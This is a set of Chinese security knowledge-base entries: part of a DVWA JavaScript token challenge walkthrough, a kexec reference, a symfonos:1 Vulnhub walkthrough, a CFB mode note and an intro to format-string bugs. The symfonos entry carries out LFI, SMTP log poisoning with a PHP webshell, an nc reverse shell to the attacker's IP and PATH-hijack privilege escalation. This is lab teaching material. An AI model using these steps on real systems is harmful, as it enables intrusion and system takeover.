& t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } "function" == typeof define && define.amd ? define(function() { return A }) : "object" == typeof module && module.exports ? module.exports = A : n.md5 = A }(this); function rot13(inp) { return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);}); } function generate_token() { var phrase = document.getElementById("phrase").value; document.getElementById("token").value = md5(rot13(phrase)); } generate_token(); </script> EOF; ?> ``` 其实就是生成了一个 token,用的是 md5 加密.这段代码在 JavaScript 中,也就是前台生成的. 如果你改成 "success" 提交一下会出现了这个,Invalid token.这是什么回事呢? 你可以打开控制台(F12),看看情况. 你会看到这个 token,不是后台生成的,而是前台生成的...而前台生成的 token,是用 `md5("ChangeMe")` 而成的,而后台期待的 md5 是 `md5("success")` . 知道怎么回事情了?参数里有 token,然后和 `md5(str_rot13("success"))` 进行比较,一样就给你 well done. 打开浏览器的开发者工具,先界面上输入 success,然后在控制台执行函数 `generate_token()` 提交,成功. 注: 先输入 success 然后 `generate_token()` ### Medium **服务器端核心代码** ```php <?php $page[ 'body' ] .= <<<EOF <script src="/vulnerabilities/javascript/source/medium.js"></script> EOF; ?> ``` 思路是一样的,只是生成 token 的函数放到另外的 js 文件中了. ```js function do_something(e) { for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n]; return t } setTimeout(function () { do_elsesomething("XX") }, 300); function do_elsesomething(e) { document.getElementById("token").value = do_something(e + document.getElementById("phrase").value + "XX") } ``` 所以,在输入框输入 success 之后,在控制台中,输入 `do_elsesomething("XX")` 就可以了. 注: 我这里的路径为 `http://xx.xx.xx.xx/dvwa/vulnerabilities/javascript/`,而代码中访问js文件为 `/vulnerabilities/javascript/source/medium.js` 会导致无法访问js文件,所以像我这种情况的需要自己改下源代码,把路径中的 dvwa 加进去 ### High **服务器端核心代码** ```php <?php $page[ 'body' ] .= <<<EOF <script src="/vulnerabilities/javascript/source/high.js"></script> EOF; ?> ``` 高级和中级类似,生成 token 的逻辑在额外的 js 文件中.和中级不同的是,这里的 JS 经过了混淆的...就显得很混乱. ```js var a=['fromCharCode','toString','replace','BeJ','\x5cw+','Lyg','SuR','(w(){\x273M\x203L\x27;q\x201l=\x273K\x203I\x203J\x20T\x27;q\x201R=1c\x202I===\x271n\x27;q\x20Y=1R?2I:{};p(Y.3N){1R=1O}q\x202L=!1R&&1c\x202M===\x271n\x27;q\x202o=!Y.2S&&1c\x202d===\x271n\x27&&2d.2Q&&2d.2Q.3S;p(2o){Y=3R}z\x20p(2L){Y=2M}q\x202G=!Y.3Q&&1c\x202g===\x271n\x27&&2g.X;q\x202s=1c\x202l===\x27w\x27&&2l.3P;q\x201y=!Y.3H&&1c\x20Z!==\x272T\x27;q\x20m=\x273G\x27.3z(\x27\x27);q\x202w=[-3y,3x,3v,3w];q\x20U=[24,16,8,0];q\x20K=[3A,3B,3F,3E,3D,3C,3T,3U,4d,4c,4b,49,4a,4e,4f,4j,4i,4h,3u,48,47,3Z,3Y,3X,3V,3W,40,41,46,45,43,42,4k,3f,38,36,39,37,34,33,2Y,31,2Z,35,3t,3n,3m,3l,3o,3p,3s,3r,3q,3k,3j,3d,3a,3c,3b,3e,3h,3g,3i,4g];q\x201E=[\x271e\x27,\x2727\x27,\x271G\x27,\x272R\x27];q\x20l=[];p(Y.2S||!1z.1K){1z.1K=w(1x){A\x204C.Q.2U.1I(1x)===\x27[1n\x201z]\x27}}p(1y&&(Y.50||!Z.1N)){Z.1N=w(1x){A\x201c\x201x===\x271n\x27&&1x.1w&&1x.1w.1J===Z}}q\x202m=w(1X,x){A\x20w(s){A\x20O\x20N(x,1d).S(s)[1X]()}};q\x202a=w(x){q\x20P=2m(\x271e\x27,x);p(2o){P=2P(P,x)}P.1T=w(){A\x20O\x20N(x)};P.S=w(s){A\x20P.1T().S(s)};1g(q\x20i=0;i<1E.W;++i){q\x20T=1E[i];P[T]=2m(T,x)}A\x20P};q\x202P=w(P,x){q\x201S=2O(\x222N(\x271S\x27)\x22);q\x201Y=2O(\x222N(\x271w\x27).1Y\x22);q\x202n=x?\x271H\x27:\x271q\x27;q\x202z=w(s){p(1c\x20s===\x272p\x27){A\x201S.2x(2n).S(s,\x274S\x27).1G(\x271e\x27)}z{p(s===2q||s===2T){1u\x20O\x201t(1l)}z\x20p(s.1J===Z){s=O\x202r(s)}}p(1z.1K(s)||Z.1N(s)||s.1J===1Y){A\x201S.2x(2n).S(O\x201Y(s)).1G(\x271e\x27)}z{A\x20P(s)}};A\x202z};q\x202k=w(1X,x){A\x20w(G,s){A\x20O\x201P(G,x,1d).S(s)[1X]()}};q\x202f=w(x){q\x20P=2k(\x271e\x27,x);P.1T=w(G){A\x20O\x201P(G,x)};P.S=w(G,s){A\x20P.1T(G).S(s)};1g(q\x20i=0;i<1E.W;++i){q\x20T=1E[i];P[T]=2k(T,x)}A\x20P};w\x20N(x,1v){p(1v){l[0]=l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0;k.l=l}z{k.l=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]}p(x){k.C=4I;k.B=4H;k.E=4l;k.F=4U;k.J=4J;k.I=4K;k.H=4L;k.D=4T}z{k.C=4X;k.B=4W;k.E=4Y;k.F=4Z;k.J=4V;k.I=4O;k.H=4F;k.D=4s}k.1C=k.1A=k.L=k.2i=0;k.1U=k.1L=1O;k.2j=1d;k.x=x}N.Q.S=w(s){p(k.1U){A}q\x202h,T=1c\x20s;p(T!==\x272p\x27){p(T===\x271n\x27){p(s===2q){1u\x20O\x201t(1l)}z\x20p(1y&&s.1J===Z){s=O\x202r(s)}z\x20p(!1z.1K(s)){p(!1y||!Z.1N(s)){1u\x20O\x201t(1l)}}}z{1u\x20O\x201t(1l)}2h=1d}q\x20r,M=0,i,W=s.W,l=k.l;4t(M<W){p(k.1L){k.1L=1O;l[0]=k.1C;l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0}p(2h){1g(i=k.1A;M<W&&i<1k;++M){l[i>>2]|=s[M]<<U[i++&3]}}z{1g(i=k.1A;M<W&&i<1k;++M){r=s.1Q(M);p(r<R){l[i>>2]|=r<<U[i++&3]}z\x20p(r<2v){l[i>>2]|=(2t|(r>>6))<<U[i++&3];l[i>>2]|=(R|(r&V))<<U[i++&3]}z\x20p(r<2A||r>=2E){l[i>>2]|=(2D|(r>>12))<<U[i++&3];l[i>>2]|=(R|((r>>6)&V))<<U[i++&3];l[i>>2]|=(R|(r&V))<<U[i++&3]}z{r=2C+(((r&23)<<10)|(s.1Q(++M)&23));l[i>>2]|=(2X|(r>>18))<<U[i++&3];l[i>>2]|=(R|((r>>12)&V))<<U[i++&3];l[i>>2]|=(R|((r>>6)&V))<<U[i++&3];l[i>>2]|=(R|(r&V))<<U[i++&3]}}}k.2u=i;k.L+=i-k.1A;p(i>=1k){k.1C=l[16];k.1A=i-1k;k.1W();k.1L=1d}z{k.1A=i}}p(k.L>4r){k.2i+=k.L/2H<<0;k.L=k.L%2H}A\x20k};N.Q.1s=w(){p(k.1U){A}k.1U=1d;q\x20l=k.l,i=k.2u;l[16]=k.1C;l[i>>2]|=2w[i&3];k.1C=l[16];p(i>=4q){p(!k.1L){k.1W()}l[0]=k.1C;l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0}l[14]=k.2i<<3|k.L>>>29;l[15]=k.L<<3;k.1W()};N.Q.1W=w(){q\x20a=k.C,b=k.B,c=k.E,d=k.F,e=k.J,f=k.I,g=k.H,h=k.D,l=k.l,j,1a,1b,1j,v,1f,1h,1B,1Z,1V,1D;1g(j=16;j<1k;++j){v=l[j-15];1a=((v>>>7)|(v<<25))^((v>>>18)|(v<<14))^(v>>>3);v=l[j-2];1b=((v>>>17)|(v<<15))^((v>>>19)|(v<<13))^(v>>>10);l[j]=l[j-16]+1a+l[j-7]+1b<<0}1D=b&c;1g(j=0;j<1k;j+=4){p(k.2j){p(k.x){1B=4m;v=l[0]-4n;h=v-4o<<0;d=v+4p<<0}z{1B=4v;v=l[0]-4w;h=v-4G<<0;d=v+4D<<0}k.2j=1O}z{1a=((a>>>2)|(a<<30))^((a>>>13)|(a<<19))^((a>>>22)|(a<<10));1b=((e>>>6)|(e<<26))^((e>>>11)|(e<<21))^((e>>>25)|(e<<7));1B=a&b;1j=1B^(a&c)^1D;1h=(e&f)^(~e&g);v=h+1b+1h+K[j]+l[j];1f=1a+1j;h=d+v<<0;d=v+1f<<0}1a=((d>>>2)|(d<<30))^((d>>>13)|(d<<19))^((d>>>22)|(d<<10));1b=((h>>>6)|(h<<26))^((h>>>11)|(h<<21))^((h>>>25)|(h<<7));1Z=d&a;1j=1Z^(d&b)^1B;1h=(h&e)^(~h&f);v=g+1b+1h+K[j+1]+l[j+1];1f=1a+1j;g=c+v<<0;c=v+1f<<0;1a=((c>>>2)|(c<<30))^((c>>>13)|(c<<19))^((c>>>22)|(c<<10));1b=((g>>>6)|(g<<26))^((g>>>11)|(g<<21))^((g>>>25)|(g<<7));1V=c&d;1j=1V^(c&a)^1Z;1h=(g&h)^(~g&e);v=f+1b+1h+K[j+2]+l[j+2];1f=1a+1j;f=b+v<<0;b=v+1f<<0;1a=((b>>>2)|(b<<30))^((b>>>13)|(b<<19))^((b>>>22)|(b<<10));1b=((f>>>6)|(f<<26))^((f>>>11)|(f<<21))^((f>>>25)|(f<<7));1D=b&c;1j=1D^(b&d)^1V;1h=(f&g)^(~f&h);v=e+1b+1h+K[j+3]+l[j+3];1f=1a+1j;e=a+v<<0;a=v+1f<<0}k.C=k.C+a<<0;k.B=k.B+b<<0;k.E=k.E+c<<0;k.F=k.F+d<<0;k.J=k.J+e<<0;k.I=k.I+f<<0;k.H=k.H+g<<0;k.D=k.D+h<<0};N.Q.1e=w(){k.1s();q\x20C=k.C,B=k.B,E=k.E,F=k.F,J=k.J,I=k.I,H=k.H,D=k.D;q\x201e=m[(C>>28)&o]+m[(C>>24)&o]+m[(C>>20)&o]+m[(C>>16)&o]+m[(C>>12)&o]+m[(C>>8)&o]+m[(C>>4)&o]+m[C&o]+m[(B>>28)&o]+m[(B>>24)&o]+m[(B>>20)&o]+m[(B>>16)&o]+m[(B>>12)&o]+m[(B>>8)&o]+m[(B>>4)&o]+m[B&o]+m[(E>>28)&o]+m[(E>>24)&o]+m[(E>>20)&o]+m[(E>>16)&o]+m[(E>>12)&o]+m[(E>>8)&o]+m[(E>>4)&o]+m[E&o]+m[(F>>28)&o]+m[(F>>24)&o]+m[(F>>20)&o]+m[(F>>16)&o]+m[(F>>12)&o]+m[(F>>8)&o]+m[(F>>4)&o]+m[F&o]+m[(J>>28)&o]+m[(J>>24)&o]+m[(J>>20)&o]+m[(J>>16)&o]+m[(J>>12)&o]+m[(J>>8)&o]+m[(J>>4)&o]+m[J&o]+m[(I>>28)&o]+m[(I>>24)&o]+m[(I>>20)&o]+m[(I>>16)&o]+m[(I>>12)&o]+m[(I>>8)&o]+m[(I>>4)&o]+m[I&o]+m[(H>>28)&o]+m[(H>>24)&o]+m[(H>>20)&o]+m[(H>>16)&o]+m[(H>>12)&o]+m[(H>>8)&o]+m[(H>>4)&o]+m[H&o];p(!k.x){1e+=m[(D>>28)&o]+m[(D>>24)&o]+m[(D>>20)&o]+m[(D>>16)&o]+m[(D>>12)&o]+m[(D>>8)&o]+m[(D>>4)&o]+m[D&o]}A\x201e};N.Q.2U=N.Q.1e;N.Q.1G=w(){k.1s();q\x20C=k.C,B=k.B,E=k.E,F=k.F,J=k.J,I=k.I,H=k.H,D=k.D;q\x202b=[(C>>24)&u,(C>>16)&u,(C>>8)&u,C&u,(B>>24)&u,(B>>16)&u,(B>>8)&u,B&u,(E>>24)&u,(E>>16)&u,(E>>8)&u,E&u,(F>>24)&u,(F>>16)&u,(F>>8)&u,F&u,(J>>24)&u,(J>>16)&u,(J>>8)&u,J&u,(I>>24)&u,(I>>16)&u,(I>>8)&u,I&u,(H>>24)&u,(H>>16)&u,(H>>8)&u,H&u];p(!k.x){2b.4A((D>>24)&u,(D>>16)&u,(D>>8)&u,D&u)}A\x202b};N.Q.27=N.Q.1G;N.Q.2R=w(){k.1s();q\x201w=O\x20Z(k.x?28:32);q\x201i=O\x204x(1w);1i.1p(0,k.C);1i.1p(4,k.B);1i.1p(8,k.E);1i.1p(12,k.F);1i.1p(16,k.J);1i.1p(20,k.I);1i.1p(24,k.H);p(!k.x){1i.1p(28,k.D)}A\x201w};w\x201P(G,x,1v){q\x20i,T=1c\x20G;p(T===\x272p\x27){q\x20L=[],W=G.W,M=0,r;1g(i=0;i<W;++i){r=G.1Q(i);p(r<R){L[M++]=r}z\x20p(r<2v){L[M++]=(2t|(r>>6));L[M++]=(R|(r&V))}z\x20p(r<2A||r>=2E){L[M++]=(2D|(r>>12));L[M++]=(R|((r>>6)&V));L[M++]=(R|(r&V))}z{r=2C+(((r&23)<<10)|(G.1Q(++i)&23));L[M++]=(2X|(r>>18));L[M++]=(R|((r>>12)&V));L[M++]=(R|((r>>6)&V));L[M++]=(R|(r&V))}}G=L}z{p(T===\x271n\x27){p(G===2q){1u\x20O\x201t(1l)}z\x20p(1y&&G.1J===Z){G=O\x202r(G)}z\x20p(!1z.1K(G)){p(!1y||!Z.1N(G)){1u\x20O\x201t(1l)}}}z{1u\x20O\x201t(1l)}}p(G.W>1k){G=(O\x20N(x,1d)).S(G).27()}q\x201F=[],2e=[];1g(i=0;i<1k;++i){q\x20b=G[i]||0;1F[i]=4z^b;2e[i]=4y^b}N.1I(k,x,1v);k.S(2e);k.1F=1F;k.2c=1d;k.1v=1v}1P.Q=O\x20N();1P.Q.1s=w(){N.Q.1s.1I(k);p(k.2c){k.2c=1O;q\x202W=k.27();N.1I(k,k.x,k.1v);k.S(k.1F);k.S(2W);N.Q.1s.1I(k)}};q\x20X=2a();X.1q=X;X.1H=2a(1d);X.1q.2V=2f();X.1H.2V=2f(1d);p(2G){2g.X=X}z{Y.1q=X.1q;Y.1H=X.1H;p(2s){2l(w(){A\x20X})}}})();w\x202y(e){1g(q\x20t=\x22\x22,n=e.W-1;n>=0;n--)t+=e[n];A\x20t}w\x202J(t,y=\x224B\x22){1m.1o(\x221M\x22).1r=1q(1m.1o(\x221M\x22).1r+y)}w\x202B(e=\x224E\x22){1m.1o(\x221M\x22).1r=1q(e+1m.1o(\x221M\x22).1r)}w\x202K(a,b){1m.1o(\x221M\x22).1r=2y(1m.1o(\x222F\x22).1r)}1m.1o(\x222F\x22).1r=\x22\x22;4u(w(){2B(\x224M\x22)},4N);1m.1o(\x224P\x22).4Q(\x224R\x22,2J);2K(\x223O\x22,44);','||||||||||||||||||||this|blocks|HEX_CHARS||0x0F|if|var|code|message||0xFF|t1|function|is224||else|return|h1|h0|h7|h2|h3|key|h6|h5|h4||bytes|index|Sha256|new|method|prototype|0x80|update|type|SHIFT|0x3f|length|exports|root|ArrayBuffer|||||||||||s0|s1|typeof|true|hex|t2|for|ch|dataView|maj|64|ERROR|document|object|getElementById|setUint32|sha256|value|finalize|Error|throw|sharedMemory|buffer|obj|ARRAY_BUFFER|Array|start|ab|block|bc|OUTPUT_TYPES|oKeyPad|digest|sha224|call|constructor|isArray|hashed|token|isView|false|HmacSha256|charCodeAt|WINDOW|crypto|create|finalized|cd|hash|outputType|Buffer|da||||0x3ff||||array|||createMethod|arr|inner|process|iKeyPad|createHmacMethod|module|notString|hBytes|first|createHmacOutputMethod|define|createOutputMethod|algorithm|NODE_JS|string|null|Uint8Array|AMD|0xc0|lastByteIndex|0x800|EXTRA|createHash|do_something|nodeMethod|0xd800|token_part_2|0x10000|0xe0|0xe000|phrase|COMMON_JS|4294967296|window|token_part_3|token_part_1|WEB_WORKER|self|require|eval|nodeWrap|versions|arrayBuffer|JS_SHA256_NO_NODE_JS|undefined|toString|hmac|innerHash|0xf0|0xa2bfe8a1|0xc24b8b70||0xa81a664b||0x92722c85|0x81c2c92e|0xc76c51a3|0x53380d13|0x766a0abb|0x4d2c6dfc|0x650a7354|0x748f82ee|0x84c87814|0x78a5636f|0x682e6ff3|0x8cc70208|0x2e1b2138|0xa4506ceb|0x90befffa|0xbef9a3f7|0x5b9cca4f|0x4ed8aa4a|0x106aa070|0xf40e3585|0xd6990624|0x19a4c116|0x1e376c08|0x391c0cb3|0x34b0bcb5|0x2748774c|0xd192e819|0x0fc19dc6|32768|128|8388608|2147483648|split|0x428a2f98|0x71374491|0x59f111f1|0x3956c25b|0xe9b5dba5|0xb5c0fbcf|0123456789abcdef|JS_SHA256_NO_ARRAY_BUFFER|is|invalid|input|strict|use|JS_SHA256_NO_WINDOW|ABCD|amd|JS_SHA256_NO_COMMON_JS|global|node|0x923f82a4|0xab1c5ed5|0x983e5152|0xa831c66d|0x76f988da|0x5cb0a9dc|0x4a7484aa|0xb00327c8|0xbf597fc7|0x14292967|0x06ca6351||0xd5a79147|0xc6e00bf3|0x2de92c6f|0x240ca1cc|0x550c7dc3|0x72be5d74|0x243185be|0x12835b01|0xd807aa98|0x80deb1fe|0x9bdc06a7|0xc67178f2|0xefbe4786|0xe49b69c1|0xc19bf174|0x27b70a85|0x3070dd17|300032|1413257819|150054599|24177077|56|4294967295|0x5be0cd19|while|setTimeout|704751109|210244248|DataView|0x36|0x5c|push|ZZ|Object|143694565|YY|0x1f83d9ab|1521486534|0x367cd507|0xc1059ed8|0xffc00b31|0x68581511|0x64f98fa7|XX|300|0x9b05688c|send|addEventListener|click|utf8|0xbefa4fa4|0xf70e5939|0x510e527f|0xbb67ae85|0x6a09e667|0x3c6ef372|0xa54ff53a|JS_SHA256_NO_ARRAY_BUFFER_IS_VIEW','split'];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};eval(function(d,e,f,g,h,i){h=function(j){return(j<e?'':h(parseInt(j/e)))+((j=j%e)>0x23?String[b('0x0')](j+0x1d):j[b('0x1')](0x24));};if(!''[b('0x2')](/^/,String)){while(f--){i[h(f)]=g[f]||h(f);}g=[function(k){if('wpA'!==b('0x3')){return i[k];}else{while(f--){i[k(f)]=g[f]||k(f);}g=[function(l){return i[l];}];k=function(){return b('0x4');};f=0x1;}}];h=function(){return b('0x4');};f=0x1;};while(f--){if(g[f]){if(b('0x5')===b('0x6')){return i[h];}else{d=d[b('0x2')](new RegExp('\x5cb'+h(f)+'\x5cb','g'),g[f]);}}}return d;}(b('0x7'),0x3e,0x137,b('0x8')[b('0x9')]('|'),0x0,{})); ``` <p align="center"> <img src="../../../../../assets/img/Security/RedTeam/Web安全/靶场/dvwa/dvwa75.png"> </p> http://deobfuscatejavascript.com 中提供的功能是,把混淆后的代码转成人类能看懂一些 js 代码,其中关键的部分是这里: ```js function do_something(e) { for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n]; return t } function token_part_3(t, y = "ZZ") { document.getElementById("token").value = sha256(document.getElementById("token").value + y) } function token_part_2(e = "YY") { document.getElementById("token").value = sha256(e + document.getElementById("token").value) } function token_part_1(a, b) { document.getElementById("token").value = do_something(document.getElementById("phrase").value) } document.getElementById("phrase").value = ""; setTimeout(function() { token_part_2("XX") }, 300); document.getElementById("send").addEventListener("click", token_part_3); token_part_1("ABCD", 44); ``` 这里生成 token 的步骤是 1. 执行 token_part_1("ABCD", 44) 2. 执行 token_part_2("XX")(原本是延迟 300ms 执行的那个) 3. 点击按钮的时候执行 token_part_3 所以我们在输入框输入 success 后,再到控制台中输入 `token_part_1("ABCD", 44)` 和 `token_part_2("XX")` 这两个函数就可以了. 注: 这里同上需要自己改下源代码,把路径中的 dvwa 加进去 ### Impossible **服务器端核心代码** ```php You can never trust anything that comes from the user or prevent them from messing with it and so there is no impossible level. ``` 你永远不要相信来自用户的任何东西或阻止他们搞乱它,所以没有不可能的等级. --- **总结** 工具一下,exp 一连,shell 就有了,这谁都能学会,但在自己挖洞的过程中,基础的东西就很重要了,我觉得 dvwa 靶机的真正价值是带新人入门,将 web 各个方面都接触一些,这样有了开始,有了一个接触,之后就有方向了.
sec-knowleage
kexec === 从当前正在运行的内核引导到一个新内核 ## 补充说明 **kexec命令** 是Linux内核的一个补丁,让您可以从当前正在运行的内核直接引导到一个新内核。在上面描述的引导序列中,kexec跳过了整个引导装载程序阶段(第一部分)并直接跳转到我们希望引导到的内核。不再有硬件的重启,不再有固件操作,不再涉及引导装载程序。完全避开了引导序列中最弱的一环 -- 固件。这一功能部件带来的最大益处在于,系统现在可以极其快速地重新启动。 **kexec的好处:** 要求高可用性的系统,以及需要不断重新启动系统的内核开发人员,都将受益于kexec。因为 kexec跳过了系统重新启动过程中最耗时的部分(也就是固件初始化硬件设备的阶段),所以重新启动变得非常快,可用性得到了提高。 ### 语法 ```shell kexec(选项) ``` ### 选项 ```shell -l:指定内核映像文件; -e:允许当前被加载的内核; -f:强制立即调用系统调用“kexec”,而不调用“shutdown”; -t:指定新内核的类型; -u:卸载当前的kexec目标内核。 ```
sec-knowleage
# symfonos1-WalkThrough --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **靶机地址** - https://www.vulnhub.com/entry/symfonos-1,322/ **Description** Beginner real life based machine designed to teach a interesting way of obtaining a low priv shell. SHOULD work for both VMware and Virtualbox. - Name: symfonos: 1 - Difficulty: Beginner - Tested: VMware Workstation 15 Pro & VirtualBox 6.0 - DHCP Enabled Note: You may need to update your host file for symfonos.local **知识点** - smb 信息探测 - wordpress 插件 LFI 漏洞 - SMTP 日志投毒 **实验环境** `环境仅供参考` - VMware® Workstation 15 Pro - 15.0.0 build-10134415 - kali : NAT 模式,192.168.141.134 - 靶机 : NAT 模式 --- # 前期-信息收集 开始进行 IP 探活 ```bash nmap -sP 192.168.141.0/24 ``` 排除法,去掉自己、宿主机、网关, `192.168.141.148` 就是目标了 扫描开放端口 ```bash nmap -T5 -A -v -p- 192.168.141.148 ``` 开放的蛮多的,22、25、80、139、445,既然 445 开着,就跑一下 SMB 探测的工具 ``` enum4linux 192.168.141.148 ``` 有1个 /anonymous 可访问 ``` smbclient //192.168.141.148/anonymous -U % -N ``` 这里 -U 表示用户名,% 表示用户名。 参数 -N 用于空密码 有个文本文件,下下来看看 ``` get attention.txt ``` 按照文件所说,密码应该就是 ``` epidioko qwerty baseball ``` 虽然可能是 SSH 的密码,不过没有用户名,还是先放一放再说,不过刚刚枚举 smb 时发现存在1个要密码的目录 ``` helios ``` 说不定是这个的密码,连接试试 ``` smbclient //192.168.141.148/helios -U helios ``` 把文件down下来看看 ``` get research.txt get todo.txt ``` research.txt 没什么帮助,todo 里提示了 `/h3l105` ,这个 `/` 就很灵性了,一般就可以猜想到和 web 有关 下面看一看 web 服务 先按要求添加以下 hosts 文件 ``` echo "192.168.141.148 symfonos.local" >> /etc/hosts ``` 啥都没有, /h3l105 试试 wordpress! 到了使用 wpscan 的时候了 ``` wpscan --url http://symfonos.local/h3l105/ wpscan --url http://symfonos.local/h3l105/ --enumerate u wpscan --url http://symfonos.local/h3l105/ --api-token xxxxxxx wpscan --url http://symfonos.local/h3l105/ -e p --api-token xxxxxxx你的apitokenxxxx ``` 5.2.2 版本,只有 admin 一个用户,不过倒是有几个插件漏洞 SQL 注入里面有几个需要认证,这个没有,测一测 LFI --- # 中期-漏洞利用 `http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd` 可以,下面尝试从其他文件得到一些信息 `http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios` 既然可以读邮件,那么可以尝试一下密码找回 使用重置后的密码登录后台,尝试拿 shell 无果,google 后发现有人使用 SMTP 日志投毒配合 LFI 来进行 RCE https://www.hackingarticles.in/smtp-log-poisioning-through-lfi-to-remote-code-exceution/ 跟着大佬学 ``` telnet 192.168.141.148 25 MAIL FROM: <test> RCPT TO: Helios data <?php system($_GET['a']);?> . quit ``` 访问 helios 邮件 `http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&a=ip a` 测试 可以执行,测试回弹 shell,kali 监听 ``` nc -lvp 4444 ``` 访问 `http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&a=nc -nv 192.168.141.134 4444 -e /bin/bash` 回弹成功,下面提权 --- # 后期-提权 ``` python -c 'import pty; pty.spawn("/bin/bash")' sudo -l find / -perm -u=s 2>/dev/null ``` 看上去啥也没有,尝试用下提权脚本 这里有个不常见的 suid 文件 statuscheck,看看是干嘛的 ``` type /opt/statuscheck ls -l /opt /opt/statuscheck ``` 内容看上去是个 web 的请求包,用 strings 在看看 ``` strings /opt/statuscheck ``` 看上去是使用 curl 访问本地网页, `curl -I http://localhost` 这里可以写一个自定义的 curl 文件,让其提权 ``` cd /tmp echo $'#!/bin/sh\n/bin/sh' > curl chmod +x curl export PATH=$(pwd):$PATH /opt/statuscheck whoami cd /root ls cat proof.txt ``` 提权成功,感谢靶机作者 Zayotic
sec-knowleage
# CFB CFB 全称为密文反馈模式(Cipher feedback)。 ## 加密 ## 解密 ## 优缺点 ### 优点 - 适应于不同数据格式的要求 - 有限错误传播 - 自同步 ### 缺点 - 加密不能并行化,解密不能并行 ## 应用场景 该模式适应于数据库加密,无线通信加密等对数据格式有特殊要求的加密环境。 ## 题目 - HITCONCTF-Quals-2015-Simple-(Crypto-100)
sec-knowleage
### 格式化字符串函数介绍 格式化字符串函数可以接受可变数量的参数,并将**第一个参数作为格式化字符串,根据其来解析之后的参数**。通俗来说,格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式。几乎所有的C/C++程序都会利用格式化字符串函数来**输出信息,调试程序,或者处理字符串**。一般来说,格式化字符串在利用的时候主要分为三个部分 - 格式化字符串函数 - 格式化字符串 - 后续参数,**可选** ### 格式化字符串函数 常见的有格式化字符串函数有 - 输入 - scanf - 输出 | 函数 | 基本介绍 | | :---------------------: | :-----------------: | | printf | 输出到stdout | | fprintf | 输出到指定FILE流 | | vprintf | 根据参数列表格式化输出到 stdout | | vfprintf | 根据参数列表格式化输出到指定FILE流 | | sprintf | 输出到字符串 | | snprintf | 输出指定字节数到字符串 | | vsprintf | 根据参数列表格式化输出到字符串 | | vsnprintf | 根据参数列表格式化输出指定字节到字符串 | | setproctitle | 设置argv | | syslog | 输出日志 | | err, verr, warn, vwarn等 | 。。。 | ### 格式化字符串格式 这里我们了解一下格式化字符串的格式,其基本格式如下 ``` %[parameter][flags][field width][.precision][length]type ``` 每一种pattern的含义请具体参考维基百科的[格式化字符串](https://zh.wikipedia.org/wiki/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2) 。以下几个pattern中的对应选择需要重点关注 - parameter - n$,获取格式化字符串中的指定参数 - flag - field width - 输出的最小宽度 - precision - 输出的最大长度 - length,输出的长度 - hh,输出一个字节 - h,输出一个双字节 - type - d/i,有符号整数 - u,无符号整数 - x/X,16进制unsigned int 。x使用小写字母;X使用大写字母。如果指定了精度,则输出的数字不足时在左侧补0。默认精度为1。精度为0且值为0,则输出为空。 - o,8进制unsigned int 。如果指定了精度,则输出的数字不足时在左侧补0。默认精度为1。精度为0且值为0,则输出为空。 - s,如果没有用l标志,输出null结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了l标志,则对应函数参数指向wchar\_t型的数组,输出时把每个宽字符转化为多字节字符,相当于调用wcrtomb 函数。 - c,如果没有用l标志,把int参数转为unsigned char型输出;如果用了l标志,把wint\_t参数转为包含两个元素的wchart_t数组,其中第一个元素包含要输出的字符,第二个元素为null宽字符。 - p, void \*型,输出对应变量的值。printf("%p",a)用地址的格式打印变量a的值,printf("%p", &a)打印变量a所在的地址。 - n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。 - %, '``%``'字面值,不接受任何flags, width。 ### 格式化字符串漏洞原理 在一开始,我们就给出格式化字符串的基本介绍,这里再说一些比较细致的内容。我们上面说,格式化字符串函数是根据格式化字符串函数来进行解析的。**那么相应的要被解析的参数的个数也自然是由这个格式化字符串所控制**。比如说'%s'表明我们会输出一个字符串参数。 对于这样的例子,在进入printf函数的之前(即还没有调用printf),栈上的布局由高地址到低地址依次如下 ```text some value 3.14 123456 addr of "red" addr of format string: Color %s... ``` **注:这里我们假设3.14上面的值为某个未知的值。** 在进入printf之后,函数首先获取第一个参数,一个一个读取其字符会遇到两种情况 - 当前字符不是%,直接输出到相应标准输出。 - 当前字符是%, 继续读取下一个字符 - 如果没有字符,报错 - 如果下一个字符是%,输出% - 否则根据相应的字符,获取相应的参数,对其进行解析并输出 那么假设,此时我们在编写程序时候,写成了下面的样子 ```C printf("Color %s, Number %d, Float %4.2f"); ``` 此时我们可以发现我们并没有提供参数,那么程序会如何运行呢?程序照样会运行,会将栈上存储格式化字符串地址上面的三个变量分别解析为 1. 解析其地址对应的字符串 2. 解析其内容对应的整形值 3. 解析其内容对应的浮点值 对于2,3来说倒还无妨,但是对于对于1来说,如果提供了一个不可访问地址,比如0,那么程序就会因此而崩溃。 